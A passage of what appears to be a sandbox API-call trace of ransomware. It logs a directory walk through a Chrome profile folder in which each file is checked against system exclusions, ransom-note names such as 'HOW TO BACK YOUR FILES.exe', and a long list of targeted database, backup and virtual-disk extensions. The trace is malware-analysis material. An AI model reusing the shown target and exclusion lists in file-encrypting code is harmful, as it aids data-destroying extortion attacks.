	[0046.567] lstrlenW (lpString="cdb") returned 3
	[0046.567] lstrcmpiW (lpString1="IDs", lpString2="cdb") returned 1
	[0046.567] lstrlenW (lpString="ckp") returned 3
	[0046.567] lstrcmpiW (lpString1="IDs", lpString2="ckp") returned 1
	[0046.567] lstrlenW (lpString="cma") returned 3
	[0046.567] lstrcmpiW (lpString1="IDs", lpString2="cma") returned 1
	[0046.567] lstrlenW (lpString="cpd") returned 3
	[0046.567] lstrcmpiW (lpString1="IDs", lpString2="cpd") returned 1
	[0046.567] lstrlenW (lpString="dacpac") returned 6
	[0046.567] lstrcmpiW (lpString1="el IDs", lpString2="dacpac") returned 1
	[0046.567] lstrlenW (lpString="dad") returned 3
	[0046.567] lstrcmpiW (lpString1="IDs", lpString2="dad") returned 1
	[0046.567] lstrlenW (lpString="dadiagrams") returned 10
	[0046.567] lstrcmpiW (lpString1="hannel IDs", lpString2="dadiagrams") returned 1
	[0046.567] lstrlenW (lpString="daschema") returned 8
	[0046.567] lstrcmpiW (lpString1="nnel IDs", lpString2="daschema") returned 1
	[0046.567] lstrlenW (lpString="db-journal") returned 10
	[0046.567] lstrcmpiW (lpString1="hannel IDs", lpString2="db-journal") returned 1
	[0046.567] lstrlenW (lpString="db-shm") returned 6
	[0046.567] lstrcmpiW (lpString1="el IDs", lpString2="db-shm") returned 1
	[0046.567] lstrlenW (lpString="db-wal") returned 6
	[0046.567] lstrcmpiW (lpString1="el IDs", lpString2="db-wal") returned 1
	[0046.567] lstrlenW (lpString="dbc") returned 3
	[0046.567] lstrcmpiW (lpString1="IDs", lpString2="dbc") returned 1
	[0046.567] lstrlenW (lpString="dbs") returned 3
	[0046.567] lstrcmpiW (lpString1="IDs", lpString2="dbs") returned 1
	[0046.567] lstrlenW (lpString="dbt") returned 3
	[0046.567] lstrcmpiW (lpString1="IDs", lpString2="dbt") returned 1
	[0046.568] lstrlenW (lpString="dbv") returned 3
	[0046.568] lstrcmpiW (lpString1="IDs", lpString2="dbv") returned 1
	[0046.568] lstrlenW (lpString="dbx") returned 3
	[0046.568] lstrcmpiW (lpString1="IDs", lpString2="dbx") returned 1
	[0046.568] lstrlenW (lpString="dcb") returned 3
	[0046.568] lstrcmpiW (lpString1="IDs", lpString2="dcb") returned 1
	[0046.568] lstrlenW (lpString="dct") returned 3
	[0046.568] lstrcmpiW (lpString1="IDs", lpString2="dct") returned 1
	[0046.568] lstrlenW (lpString="dcx") returned 3
	[0046.568] lstrcmpiW (lpString1="IDs", lpString2="dcx") returned 1
	[0046.568] lstrlenW (lpString="ddl") returned 3
	[0046.568] lstrcmpiW (lpString1="IDs", lpString2="ddl") returned 1
	[0046.568] lstrlenW (lpString="dlis") returned 4
	[0046.568] lstrcmpiW (lpString1=" IDs", lpString2="dlis") returned -1
	[0046.568] lstrlenW (lpString="dp1") returned 3
	[0046.568] lstrcmpiW (lpString1="IDs", lpString2="dp1") returned 1
	[0046.568] lstrlenW (lpString="dqy") returned 3
	[0046.568] lstrcmpiW (lpString1="IDs", lpString2="dqy") returned 1
	[0046.568] lstrlenW (lpString="dsk") returned 3
	[0046.568] lstrcmpiW (lpString1="IDs", lpString2="dsk") returned 1
	[0046.568] lstrlenW (lpString="dsn") returned 3
	[0046.568] lstrcmpiW (lpString1="IDs", lpString2="dsn") returned 1
	[0046.568] lstrlenW (lpString="dtsx") returned 4
	[0046.568] lstrcmpiW (lpString1=" IDs", lpString2="dtsx") returned -1
	[0046.568] lstrlenW (lpString="dxl") returned 3
	[0046.568] lstrcmpiW (lpString1="IDs", lpString2="dxl") returned 1
	[0046.568] lstrlenW (lpString="eco") returned 3
	[0046.568] lstrcmpiW (lpString1="IDs", lpString2="eco") returned 1
	[0046.568] lstrlenW (lpString="ecx") returned 3
	[0046.568] lstrcmpiW (lpString1="IDs", lpString2="ecx") returned 1
	[0046.568] lstrlenW (lpString="edb") returned 3
	[0046.568] lstrcmpiW (lpString1="IDs", lpString2="edb") returned 1
	[0046.568] lstrlenW (lpString="epim") returned 4
	[0046.569] lstrcmpiW (lpString1=" IDs", lpString2="epim") returned -1
	[0046.569] lstrlenW (lpString="fcd") returned 3
	[0046.569] lstrcmpiW (lpString1="IDs", lpString2="fcd") returned 1
	[0046.569] lstrlenW (lpString="fdb") returned 3
	[0046.569] lstrcmpiW (lpString1="IDs", lpString2="fdb") returned 1
	[0046.569] lstrlenW (lpString="fic") returned 3
	[0046.569] lstrcmpiW (lpString1="IDs", lpString2="fic") returned 1
	[0046.569] lstrlenW (lpString="flexolibrary") returned 12
	[0046.569] lstrcmpiW (lpString1=" Channel IDs", lpString2="flexolibrary") returned -1
	[0046.569] lstrlenW (lpString="fm5") returned 3
	[0046.569] lstrcmpiW (lpString1="IDs", lpString2="fm5") returned 1
	[0046.569] lstrlenW (lpString="fmp") returned 3
	[0046.569] lstrcmpiW (lpString1="IDs", lpString2="fmp") returned 1
	[0046.569] lstrlenW (lpString="fmp12") returned 5
	[0046.569] lstrcmpiW (lpString1="l IDs", lpString2="fmp12") returned 1
	[0046.569] lstrlenW (lpString="fmpsl") returned 5
	[0046.569] lstrcmpiW (lpString1="l IDs", lpString2="fmpsl") returned 1
	[0046.569] lstrlenW (lpString="fol") returned 3
	[0046.569] lstrcmpiW (lpString1="IDs", lpString2="fol") returned 1
	[0046.569] lstrlenW (lpString="fp3") returned 3
	[0046.569] lstrcmpiW (lpString1="IDs", lpString2="fp3") returned 1
	[0046.569] lstrlenW (lpString="fp4") returned 3
	[0046.569] lstrcmpiW (lpString1="IDs", lpString2="fp4") returned 1
	[0046.569] lstrlenW (lpString="fp5") returned 3
	[0046.569] lstrcmpiW (lpString1="IDs", lpString2="fp5") returned 1
	[0046.569] lstrlenW (lpString="fp7") returned 3
	[0046.569] lstrcmpiW (lpString1="IDs", lpString2="fp7") returned 1
	[0046.569] lstrlenW (lpString="fpt") returned 3
	[0046.569] lstrcmpiW (lpString1="IDs", lpString2="fpt") returned 1
	[0046.569] lstrlenW (lpString="frm") returned 3
	[0046.569] lstrcmpiW (lpString1="IDs", lpString2="frm") returned 1
	[0046.569] lstrlenW (lpString="gdb") returned 3
	[0046.569] lstrcmpiW (lpString1="IDs", lpString2="gdb") returned 1
	[0046.569] lstrlenW (lpString="gdb") returned 3
	[0046.570] lstrcmpiW (lpString1="IDs", lpString2="gdb") returned 1
	[0046.570] lstrlenW (lpString="grdb") returned 4
	[0046.570] lstrcmpiW (lpString1=" IDs", lpString2="grdb") returned -1
	[0046.570] lstrlenW (lpString="gwi") returned 3
	[0046.570] lstrcmpiW (lpString1="IDs", lpString2="gwi") returned 1
	[0046.570] lstrlenW (lpString="hdb") returned 3
	[0046.570] lstrcmpiW (lpString1="IDs", lpString2="hdb") returned 1
	[0046.570] lstrlenW (lpString="his") returned 3
	[0046.570] lstrcmpiW (lpString1="IDs", lpString2="his") returned 1
	[0046.570] lstrlenW (lpString="ib") returned 2
	[0046.570] lstrcmpiW (lpString1="Ds", lpString2="ib") returned -1
	[0046.570] lstrlenW (lpString="idb") returned 3
	[0046.570] lstrcmpiW (lpString1="IDs", lpString2="idb") returned 1
	[0046.570] lstrlenW (lpString="ihx") returned 3
	[0046.570] lstrcmpiW (lpString1="IDs", lpString2="ihx") returned -1
	[0046.570] lstrlenW (lpString="itdb") returned 4
	[0046.570] lstrcmpiW (lpString1=" IDs", lpString2="itdb") returned -1
	[0046.570] lstrlenW (lpString="itw") returned 3
	[0046.570] lstrcmpiW (lpString1="IDs", lpString2="itw") returned -1
	[0046.570] lstrlenW (lpString="jet") returned 3
	[0046.570] lstrcmpiW (lpString1="IDs", lpString2="jet") returned -1
	[0046.570] lstrlenW (lpString="jtx") returned 3
	[0046.570] lstrcmpiW (lpString1="IDs", lpString2="jtx") returned -1
	[0046.570] lstrlenW (lpString="kdb") returned 3
	[0046.570] lstrcmpiW (lpString1="IDs", lpString2="kdb") returned -1
	[0046.570] lstrlenW (lpString="kexi") returned 4
	[0046.570] lstrcmpiW (lpString1=" IDs", lpString2="kexi") returned -1
	[0046.570] lstrlenW (lpString="kexic") returned 5
	[0046.570] lstrcmpiW (lpString1="l IDs", lpString2="kexic") returned 1
	[0046.570] lstrlenW (lpString="kexis") returned 5
	[0046.570] lstrcmpiW (lpString1="l IDs", lpString2="kexis") returned 1
	[0046.570] lstrlenW (lpString="lgc") returned 3
	[0046.570] lstrcmpiW (lpString1="IDs", lpString2="lgc") returned -1
	[0046.571] lstrlenW (lpString="lwx") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="lwx") returned -1
	[0046.571] lstrlenW (lpString="maf") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="maf") returned -1
	[0046.571] lstrlenW (lpString="maq") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="maq") returned -1
	[0046.571] lstrlenW (lpString="mar") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="mar") returned -1
	[0046.571] lstrlenW (lpString="marshal") returned 7
	[0046.571] lstrcmpiW (lpString1="nel IDs", lpString2="marshal") returned 1
	[0046.571] lstrlenW (lpString="mas") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="mas") returned -1
	[0046.571] lstrlenW (lpString="mav") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="mav") returned -1
	[0046.571] lstrlenW (lpString="maw") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="maw") returned -1
	[0046.571] lstrlenW (lpString="mdbhtml") returned 7
	[0046.571] lstrcmpiW (lpString1="nel IDs", lpString2="mdbhtml") returned 1
	[0046.571] lstrlenW (lpString="mdn") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="mdn") returned -1
	[0046.571] lstrlenW (lpString="mdt") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="mdt") returned -1
	[0046.571] lstrlenW (lpString="mfd") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="mfd") returned -1
	[0046.571] lstrlenW (lpString="mpd") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="mpd") returned -1
	[0046.571] lstrlenW (lpString="mrg") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="mrg") returned -1
	[0046.571] lstrlenW (lpString="mud") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="mud") returned -1
	[0046.571] lstrlenW (lpString="mwb") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="mwb") returned -1
	[0046.571] lstrlenW (lpString="myd") returned 3
	[0046.571] lstrcmpiW (lpString1="IDs", lpString2="myd") returned -1
	[0046.572] lstrlenW (lpString="ndf") returned 3
	[0046.572] lstrcmpiW (lpString1="IDs", lpString2="ndf") returned -1
	[0046.572] lstrlenW (lpString="nnt") returned 3
	[0046.572] lstrcmpiW (lpString1="IDs", lpString2="nnt") returned -1
	[0046.572] lstrlenW (lpString="nrmlib") returned 6
	[0046.572] lstrcmpiW (lpString1="el IDs", lpString2="nrmlib") returned -1
	[0046.572] lstrlenW (lpString="ns2") returned 3
	[0046.572] lstrcmpiW (lpString1="IDs", lpString2="ns2") returned -1
	[0046.572] lstrlenW (lpString="ns3") returned 3
	[0046.572] lstrcmpiW (lpString1="IDs", lpString2="ns3") returned -1
	[0046.572] lstrlenW (lpString="ns4") returned 3
	[0046.572] lstrcmpiW (lpString1="IDs", lpString2="ns4") returned -1
	[0046.572] lstrlenW (lpString="nsf") returned 3
	[0046.572] lstrcmpiW (lpString1="IDs", lpString2="nsf") returned -1
	[0046.572] lstrlenW (lpString="nv") returned 2
	[0046.572] lstrcmpiW (lpString1="Ds", lpString2="nv") returned -1
	[0046.572] lstrlenW (lpString="nv2") returned 3
	[0046.572] lstrcmpiW (lpString1="IDs", lpString2="nv2") returned -1
	[0046.572] lstrlenW (lpString="nwdb") returned 4
	[0046.572] lstrcmpiW (lpString1=" IDs", lpString2="nwdb") returned -1
	[0046.572] lstrlenW (lpString="nyf") returned 3
	[0046.572] lstrcmpiW (lpString1="IDs", lpString2="nyf") returned -1
	[0046.572] lstrlenW (lpString="odb") returned 3
	[0046.572] lstrcmpiW (lpString1="IDs", lpString2="odb") returned -1
	[0046.572] lstrlenW (lpString="odb") returned 3
	[0046.572] lstrcmpiW (lpString1="IDs", lpString2="odb") returned -1
	[0046.572] lstrlenW (lpString="oqy") returned 3
	[0046.572] lstrcmpiW (lpString1="IDs", lpString2="oqy") returned -1
	[0046.572] lstrlenW (lpString="ora") returned 3
	[0046.572] lstrcmpiW (lpString1="IDs", lpString2="ora") returned -1
	[0046.572] lstrlenW (lpString="orx") returned 3
	[0046.572] lstrcmpiW (lpString1="IDs", lpString2="orx") returned -1
	[0046.572] lstrlenW (lpString="owc") returned 3
	[0046.572] lstrcmpiW (lpString1="IDs", lpString2="owc") returned -1
	[0046.573] lstrlenW (lpString="p96") returned 3
	[0046.573] lstrcmpiW (lpString1="IDs", lpString2="p96") returned -1
	[0046.573] lstrlenW (lpString="p97") returned 3
	[0046.573] lstrcmpiW (lpString1="IDs", lpString2="p97") returned -1
	[0046.573] lstrlenW (lpString="pan") returned 3
	[0046.573] lstrcmpiW (lpString1="IDs", lpString2="pan") returned -1
	[0046.573] lstrlenW (lpString="pdb") returned 3
	[0046.573] lstrcmpiW (lpString1="IDs", lpString2="pdb") returned -1
	[0046.573] lstrlenW (lpString="pdm") returned 3
	[0046.573] lstrcmpiW (lpString1="IDs", lpString2="pdm") returned -1
	[0046.573] lstrlenW (lpString="pnz") returned 3
	[0046.573] lstrcmpiW (lpString1="IDs", lpString2="pnz") returned -1
	[0046.573] lstrlenW (lpString="qry") returned 3
	[0046.573] lstrcmpiW (lpString1="IDs", lpString2="qry") returned -1
	[0046.573] lstrlenW (lpString="qvd") returned 3
	[0046.573] lstrcmpiW (lpString1="IDs", lpString2="qvd") returned -1
	[0046.573] lstrlenW (lpString="rbf") returned 3
	[0046.573] lstrcmpiW (lpString1="IDs", lpString2="rbf") returned -1
	[0046.573] lstrlenW (lpString="rctd") returned 4
	[0046.573] lstrcmpiW (lpString1=" IDs", lpString2="rctd") returned -1
	[0046.573] lstrlenW (lpString="rod") returned 3
	[0046.573] lstrcmpiW (lpString1="IDs", lpString2="rod") returned -1
	[0046.573] lstrlenW (lpString="rodx") returned 4
	[0046.573] lstrcmpiW (lpString1=" IDs", lpString2="rodx") returned -1
	[0046.573] lstrlenW (lpString="rpd") returned 3
	[0046.573] lstrcmpiW (lpString1="IDs", lpString2="rpd") returned -1
	[0046.573] lstrlenW (lpString="rsd") returned 3
	[0046.573] lstrcmpiW (lpString1="IDs", lpString2="rsd") returned -1
	[0046.573] lstrlenW (lpString="sas7bdat") returned 8
	[0046.573] lstrcmpiW (lpString1="nnel IDs", lpString2="sas7bdat") returned -1
	[0046.573] lstrlenW (lpString="sbf") returned 3
	[0046.573] lstrcmpiW (lpString1="IDs", lpString2="sbf") returned -1
	[0046.573] lstrlenW (lpString="scx") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="scx") returned -1
	[0046.574] lstrlenW (lpString="sdb") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="sdb") returned -1
	[0046.574] lstrlenW (lpString="sdc") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="sdc") returned -1
	[0046.574] lstrlenW (lpString="sdf") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="sdf") returned -1
	[0046.574] lstrlenW (lpString="sis") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="sis") returned -1
	[0046.574] lstrlenW (lpString="spq") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="spq") returned -1
	[0046.574] lstrlenW (lpString="te") returned 2
	[0046.574] lstrcmpiW (lpString1="Ds", lpString2="te") returned -1
	[0046.574] lstrlenW (lpString="teacher") returned 7
	[0046.574] lstrcmpiW (lpString1="nel IDs", lpString2="teacher") returned -1
	[0046.574] lstrlenW (lpString="tmd") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="tmd") returned -1
	[0046.574] lstrlenW (lpString="tps") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="tps") returned -1
	[0046.574] lstrlenW (lpString="trc") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="trc") returned -1
	[0046.574] lstrlenW (lpString="trc") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="trc") returned -1
	[0046.574] lstrlenW (lpString="trm") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="trm") returned -1
	[0046.574] lstrlenW (lpString="udb") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="udb") returned -1
	[0046.574] lstrlenW (lpString="udl") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="udl") returned -1
	[0046.574] lstrlenW (lpString="usr") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="usr") returned -1
	[0046.574] lstrlenW (lpString="v12") returned 3
	[0046.574] lstrcmpiW (lpString1="IDs", lpString2="v12") returned -1
	[0046.574] lstrlenW (lpString="vis") returned 3
	[0046.575] lstrcmpiW (lpString1="IDs", lpString2="vis") returned -1
	[0046.575] lstrlenW (lpString="vpd") returned 3
	[0046.575] lstrcmpiW (lpString1="IDs", lpString2="vpd") returned -1
	[0046.575] lstrlenW (lpString="vvv") returned 3
	[0046.575] lstrcmpiW (lpString1="IDs", lpString2="vvv") returned -1
	[0046.575] lstrlenW (lpString="wdb") returned 3
	[0046.575] lstrcmpiW (lpString1="IDs", lpString2="wdb") returned -1
	[0046.575] lstrlenW (lpString="wmdb") returned 4
	[0046.575] lstrcmpiW (lpString1=" IDs", lpString2="wmdb") returned -1
	[0046.575] lstrlenW (lpString="wrk") returned 3
	[0046.575] lstrcmpiW (lpString1="IDs", lpString2="wrk") returned -1
	[0046.575] lstrlenW (lpString="xdb") returned 3
	[0046.575] lstrcmpiW (lpString1="IDs", lpString2="xdb") returned -1
	[0046.575] lstrlenW (lpString="xld") returned 3
	[0046.575] lstrcmpiW (lpString1="IDs", lpString2="xld") returned -1
	[0046.575] lstrlenW (lpString="xmlff") returned 5
	[0046.575] lstrcmpiW (lpString1="l IDs", lpString2="xmlff") returned -1
	[0046.575] FindNextFileW (in: hFindFile=0x5ca150, lpFindFileData=0x2d3e300 | out: lpFindFileData=0x2d3e300*(dwFileAttributes=0x2020, ftCreationTime.dwLowDateTime=0x85e6fa20, ftCreationTime.dwHighDateTime=0x1d2dd9e, ftLastAccessTime.dwLowDateTime=0x85e6fa20, ftLastAccessTime.dwHighDateTime=0x1d2dd9e, ftLastWriteTime.dwLowDateTime=0x97f94a10, ftLastWriteTime.dwHighDateTime=0x1d2dd9e, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="Safe Browsing Channel IDs-journal", cAlternateFileName="SAFEBR~4")) returned 1
	[0046.575] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2="HOW TO BACK YOUR FILES.exe") returned 1
	[0046.575] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2="Apollon865.txt.exe") returned 1
	[0046.575] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2=".") returned 1
	[0046.575] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2="..") returned 1
	[0046.575] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2="windows") returned -1
	[0046.575] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2="bootmgr") returned 1
	[0046.575] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2="temp") returned -1
	[0046.575] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2="pagefile.sys") returned 1
	[0046.575] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2="boot") returned 1
	[0046.575] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2="ids.txt") returned 1
	[0046.575] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2="ntuser.dat") returned 1
	[0046.575] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2="perflogs") returned 1
	[0046.575] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2="MSBuild") returned 1
	[0046.575] lstrlenW (lpString="Safe Browsing Channel IDs-journal") returned 33
	[0046.575] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\AppData\\Local\\Google\\Chrome\\User Data\\Safe Browsing Channel IDs") returned 93
	[0046.576] lstrcpyW (in: lpString1=0x2d3e5d8, lpString2="Safe Browsing Channel IDs-journal" | out: lpString1="Safe Browsing Channel IDs-journal") returned="Safe Browsing Channel IDs-journal"
	[0046.576] lstrlenW (lpString="Safe Browsing Channel IDs-journal") returned 33
	[0046.576] lstrlenW (lpString="Apollon865") returned 10
	[0046.576] lstrcmpiW (lpString1="Ds-journal", lpString2="Apollon865") returned 1
	[0046.576] lstrlenW (lpString=".dll") returned 4
	[0046.576] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2=".dll") returned 1
	[0046.576] lstrlenW (lpString=".lnk") returned 4
	[0046.576] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2=".lnk") returned 1
	[0046.576] lstrlenW (lpString=".ini") returned 4
	[0046.576] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2=".ini") returned 1
	[0046.576] lstrlenW (lpString=".sys") returned 4
	[0046.576] lstrcmpiW (lpString1="Safe Browsing Channel IDs-journal", lpString2=".sys") returned 1
	[0046.576] lstrlenW (lpString="Safe Browsing Channel IDs-journal") returned 33
	[0046.576] lstrlenW (lpString="bak") returned 3
	[0046.576] lstrcmpiW (lpString1="nal", lpString2="bak") returned 1
	[0046.576] lstrlenW (lpString="ba_") returned 3
	[0046.576] lstrcmpiW (lpString1="nal", lpString2="ba_") returned 1
	[0046.576] lstrlenW (lpString="dbb") returned 3
	[0046.576] lstrcmpiW (lpString1="nal", lpString2="dbb") returned 1
	[0046.576] lstrlenW (lpString="vmdk") returned 4
	[0046.576] lstrcmpiW (lpString1="rnal", lpString2="vmdk") returned -1
	[0046.576] lstrlenW (lpString="rar") returned 3
	[0046.576] lstrcmpiW (lpString1="nal", lpString2="rar") returned -1
	[0046.576] lstrlenW (lpString="zip") returned 3
	[0046.576] lstrcmpiW (lpString1="nal", lpString2="zip") returned -1
	[0046.576] lstrlenW (lpString="tgz") returned 3
	[0046.576] lstrcmpiW (lpString1="nal", lpString2="tgz") returned -1
	[0046.576] lstrlenW (lpString="vbox") returned 4
	[0046.576] lstrcmpiW (lpString1="rnal", lpString2="vbox") returned -1
	[0046.576] lstrlenW (lpString="vdi") returned 3
	[0046.576] lstrcmpiW (lpString1="nal", lpString2="vdi") returned -1
	[0046.576] lstrlenW (lpString="vhd") returned 3
	[0046.576] lstrcmpiW (lpString1="nal", lpString2="vhd") returned -1
	[0046.577] lstrlenW (lpString="vhdx") returned 4
	[0046.577] lstrcmpiW (lpString1="rnal", lpString2="vhdx") returned -1
	[0046.577] lstrlenW (lpString="avhd") returned 4
	[0046.577] lstrcmpiW (lpString1="rnal", lpString2="avhd") returned 1
	[0046.577] lstrlenW (lpString="db") returned 2
	[0046.577] lstrcmpiW (lpString1="al", lpString2="db") returned -1
	[0046.577] lstrlenW (lpString="db2") returned 3
	[0046.577] lstrcmpiW (lpString1="nal", lpString2="db2") returned 1
	[0046.577] lstrlenW (lpString="db3") returned 3
	[0046.577] lstrcmpiW (lpString1="nal", lpString2="db3") returned 1
	[0046.577] lstrlenW (lpString="dbf") returned 3
	[0046.577] lstrcmpiW (lpString1="nal", lpString2="dbf") returned 1
	[0046.577] lstrlenW (lpString="mdf") returned 3
	[0046.577] lstrcmpiW (lpString1="nal", lpString2="mdf") returned 1
	[0046.577] lstrlenW (lpString="mdb") returned 3
	[0046.577] lstrcmpiW (lpString1="nal", lpString2="mdb") returned 1
	[0046.577] lstrlenW (lpString="sql") returned 3
	[0046.577] lstrcmpiW (lpString1="nal", lpString2="sql") returned -1
	[0046.577] lstrlenW (lpString="sqlite") returned 6
	[0046.577] lstrcmpiW (lpString1="ournal", lpString2="sqlite") returned -1
	[0046.577] lstrlenW (lpString="sqlite3") returned 7
	[0046.577] lstrcmpiW (lpString1="journal", lpString2="sqlite3") returned -1
	[0046.577] lstrlenW (lpString="sqlitedb") returned 8
	[0046.577] lstrcmpiW (lpString1="-journal", lpString2="sqlitedb") returned -1
	[0046.577] lstrlenW (lpString="xml") returned 3
	[0046.577] lstrcmpiW (lpString1="nal", lpString2="xml") returned -1
	[0046.577] lstrlenW (lpString="$er") returned 3
	[0046.577] lstrcmpiW (lpString1="nal", lpString2="$er") returned 1
	[0046.577] lstrlenW (lpString="4dd") returned 3
	[0046.577] lstrcmpiW (lpString1="nal", lpString2="4dd") returned 1
	[0046.577] lstrlenW (lpString="4dl") returned 3
	[0046.577] lstrcmpiW (lpString1="nal", lpString2="4dl") returned 1
	[0046.577] lstrlenW (lpString="^^^") returned 3
	[0046.577] lstrcmpiW (lpString1="nal", lpString2="^^^") returned 1
	[0046.578] lstrlenW (lpString="abs") returned 3
	[0046.578] lstrcmpiW (lpString1="nal", lpString2="abs") returned 1
	[0046.578] lstrlenW (lpString="abx") returned 3
	[0046.578] lstrcmpiW (lpString1="nal", lpString2="abx") returned 1
	[0046.578] lstrlenW (lpString="accdb") returned 5
	[0046.578] lstrcmpiW (lpString1="urnal", lpString2="accdb") returned 1
	[0046.578] lstrlenW (lpString="accdc") returned 5
	[0046.578] lstrcmpiW (lpString1="urnal", lpString2="accdc") returned 1
	[0046.578] lstrlenW (lpString="accde") returned 5
	[0046.578] lstrcmpiW (lpString1="urnal", lpString2="accde") returned 1
	[0046.578] lstrlenW (lpString="accdr") returned 5
	[0046.578] lstrcmpiW (lpString1="urnal", lpString2="accdr") returned 1
	[0046.578] lstrlenW (lpString="accdt") returned 5
	[0046.578] lstrcmpiW (lpString1="urnal", lpString2="accdt") returned 1
	[0046.578] lstrlenW (lpString="accdw") returned 5
	[0046.578] lstrcmpiW (lpString1="urnal", lpString2="accdw") returned 1
	[0046.578] lstrlenW (lpString="accft") returned 5
	[0046.578] lstrcmpiW (lpString1="urnal", lpString2="accft") returned 1
	[0046.578] lstrlenW (lpString="adb") returned 3
	[0046.578] lstrcmpiW (lpString1="nal", lpString2="adb") returned 1
	[0046.578] lstrlenW (lpString="adb") returned 3
	[0046.578] lstrcmpiW (lpString1="nal", lpString2="adb") returned 1
	[0046.578] lstrlenW (lpString="ade") returned 3
	[0046.578] lstrcmpiW (lpString1="nal", lpString2="ade") returned 1
	[0046.578] lstrlenW (lpString="adf") returned 3
	[0046.578] lstrcmpiW (lpString1="nal", lpString2="adf") returned 1
	[0046.578] lstrlenW (lpString="adn") returned 3
	[0046.578] lstrcmpiW (lpString1="nal", lpString2="adn") returned 1
	[0046.578] lstrlenW (lpString="adp") returned 3
	[0046.578] lstrcmpiW (lpString1="nal", lpString2="adp") returned 1
	[0046.578] lstrlenW (lpString="alf") returned 3
	[0046.578] lstrcmpiW (lpString1="nal", lpString2="alf") returned 1
	[0046.578] lstrlenW (lpString="ask") returned 3
	[0046.578] lstrcmpiW (lpString1="nal", lpString2="ask") returned 1
	[0046.579] lstrlenW (lpString="btr") returned 3
	[0046.579] lstrcmpiW (lpString1="nal", lpString2="btr") returned 1
	[0046.579] lstrlenW (lpString="cat") returned 3
	[0046.579] lstrcmpiW (lpString1="nal", lpString2="cat") returned 1
	[0046.579] lstrlenW (lpString="cdb") returned 3
	[0046.579] lstrcmpiW (lpString1="nal", lpString2="cdb") returned 1
	[0046.579] lstrlenW (lpString="ckp") returned 3
	[0046.579] lstrcmpiW (lpString1="nal", lpString2="ckp") returned 1
	[0046.579] lstrlenW (lpString="cma") returned 3
	[0046.579] lstrcmpiW (lpString1="nal", lpString2="cma") returned 1
	[0046.579] lstrlenW (lpString="cpd") returned 3
	[0046.579] lstrcmpiW (lpString1="nal", lpString2="cpd") returned 1
	[0046.579] lstrlenW (lpString="dacpac") returned 6
	[0046.579] lstrcmpiW (lpString1="ournal", lpString2="dacpac") returned 1
	[0046.579] lstrlenW (lpString="dad") returned 3
	[0046.579] lstrcmpiW (lpString1="nal", lpString2="dad") returned 1
	[0046.579] lstrlenW (lpString="dadiagrams") returned 10
	[0046.579] lstrcmpiW (lpString1="Ds-journal", lpString2="dadiagrams") returned 1
	[0046.579] lstrlenW (lpString="daschema") returned 8
	[0046.579] lstrcmpiW (lpString1="-journal", lpString2="daschema") returned 1
	[0046.579] lstrlenW (lpString="db-journal") returned 10
	[0046.579] lstrcmpiW (lpString1="Ds-journal", lpString2="db-journal") returned 1
	[0046.579] lstrlenW (lpString="db-shm") returned 6
	[0046.579] lstrcmpiW (lpString1="ournal", lpString2="db-shm") returned 1
	[0046.579] lstrlenW (lpString="db-wal") returned 6
	[0046.579] lstrcmpiW (lpString1="ournal", lpString2="db-wal") returned 1
	[0046.579] lstrlenW (lpString="dbc") returned 3
	[0046.579] lstrcmpiW (lpString1="nal", lpString2="dbc") returned 1
	[0046.579] lstrlenW (lpString="dbs") returned 3
	[0046.579] lstrcmpiW (lpString1="nal", lpString2="dbs") returned 1
	[0046.579] lstrlenW (lpString="dbt") returned 3
	[0046.579] lstrcmpiW (lpString1="nal", lpString2="dbt") returned 1
	[0046.579] lstrlenW (lpString="dbv") returned 3
	[0046.579] lstrcmpiW (lpString1="nal", lpString2="dbv") returned 1
	[0046.580] lstrlenW (lpString="dbx") returned 3
